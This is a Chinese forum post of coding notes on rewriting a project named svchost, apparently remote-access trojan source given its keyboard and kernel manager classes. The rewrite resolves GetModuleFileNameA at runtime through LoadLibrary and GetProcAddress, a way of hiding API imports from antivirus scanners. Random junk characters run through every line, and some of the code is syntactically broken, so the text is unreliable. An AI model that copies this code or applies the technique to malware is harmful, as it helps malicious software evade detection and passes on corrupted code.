返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
  P9 m0 y, [6 p+ n) C" Y- Vsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h1 o0 i/ f; P$ T  W0 P
----------------------------------------9 O$ n1 G1 v5 W) J+ [8 I2 \/ a( U
DTDY.h:
9 g5 l- ?6 D0 r& M( D, g3 t! P. f
/ A/ ?+ y0 I: T+ l#if _MSC_VER>1000
! u# c* v6 `+ d, i#pragma once9 u% n" q6 K4 O
#endif //_MSC_VER>1000
$ C, {; ~0 \% Y, S; z8 Z  p+ t#include<windows.h>
5 c  m" o7 K. r) M; |
, Z& O$ _0 p' j3 ktypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);7 U* ^0 y/ B/ b* Z& w) E
class DTDY
4 W3 D; L6 d4 L& ]8 ?9 F- Z& f, g{
. s1 c; e% T, p1 Y6 [public:3 u" g* h5 p  w. O7 x3 N9 l0 }
DTDY();
, g- I: q4 R) L, Z0 n( pvirtual ~DTDY();/ M7 r' q+ W% c1 W/ p4 u; [& g# r- }3 L
public:* m4 w3 F1 W+ V4 `( n6 v$ l! s
static pGetModuleFileNameA MyGetModuleFileName;
6 Y1 B$ N! V$ d/ M. C0 d3 @9 ^static BOOL FunInitiallization();1 i4 c) O  V6 m
};
* _3 j1 K  }+ G9 H* O! x7 [% K#endif* |; j5 D$ c& Q1 I4 I; y8 l
----------------------------------------+ y6 a( P- H5 v9 o' C6 L3 _

  g  r, g: `0 ]( n0 V: J# wDTDY.cpp:
7 O& v! a. H" o$ _/ F& e5 h. `  j. j8 u$ T7 o
#include "DTDY.h"
  A/ h6 y4 e9 M- jpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
1 R: R2 l/ n' gDTDY:TDY()
2 n7 g7 b7 ~, m{
4 ]$ I' @9 w' C6 b}+ |$ x3 O( Q% e. G6 A5 {
DTDY::~DTDY()
1 N$ E" c, O! C8 p" U{
3 b  D6 Y6 v! Y3 g5 r}& }, k8 ^3 q% B( s) P
BOOL DTDY::FunInitiallization()
4 n* H, o' ?6 Q4 x  A{
3 R  A! D# b/ H& VHMODULE hModule=LoadLibrary("kernel32.dll");6 u% [2 Q; T' Y4 U/ p' G2 U
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
8 d3 K9 j! h  D2 S7 C7 \( Uif(!MyGetModuleFileName=) return FALSE;$ {3 W: \4 r  u
6 c) Z& p! b2 `
return TRUE;
0 Z4 i  a2 A. V7 W0 x$ a, Q8 c2 ]}
/ ]4 j7 c5 o5 y, v( I$ g----------------------------------------. G( i* L- l2 @6 q/ A
svchost.cpp:
, S3 b$ f1 q: K) P4 C* m2 S  r/ y
#include "DTDY.h"( R, ?  a! ?& P0 y6 B
7 @, |' X# z. G; m. {0 q) [) E& ]/ G
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
8 v0 K8 L# ~% Y: R7 ^# u/ H{6 ^* N# m5 K( x) H1 W
switch(ul_reason_for_call)
9 w2 V$ d5 |. o, ]{
$ k& H' h4 t& t% e9 L- Qcase DLL_PROCESS_ATTACH:
; n4 [4 N, x, H  a# ~: Yif(!DTDY::FunInitiallization()) return FALSE;$ A- v5 @/ Z8 o+ W# ?) n' b3 z

/ c2 J" Y9 O2 j; B$ k- S, _break;
" r( p( h2 I4 M}+ w& p7 S# O2 ]
}
& a9 j1 L' Z- _. D
1 c8 Y- \- [' s4 `  A7 d# e4 s
$ a6 C+ c  I1 t9 l, {GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def* }6 O; E& E7 F- n
改写为% ^: q- a3 H, o) M4 r/ n( y
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
; U, S- ^( g. c: Z. I4 P: v. {/ ]----------------------------------------7 }+ e" k. Q) w* D, q. t0 D
KernelManager.cpp:6 j. d+ `' o+ N" w

- R8 R0 Q/ M& C* u& K, h, j#include "../DTDY.h"
9 K& H! _/ Y. i# a  J: bGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));, h2 {. J$ N% J* P& A  C
改写为0 c7 k" y' @: E
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));  h& F0 z5 H/ _
----------------------------------------

返回列表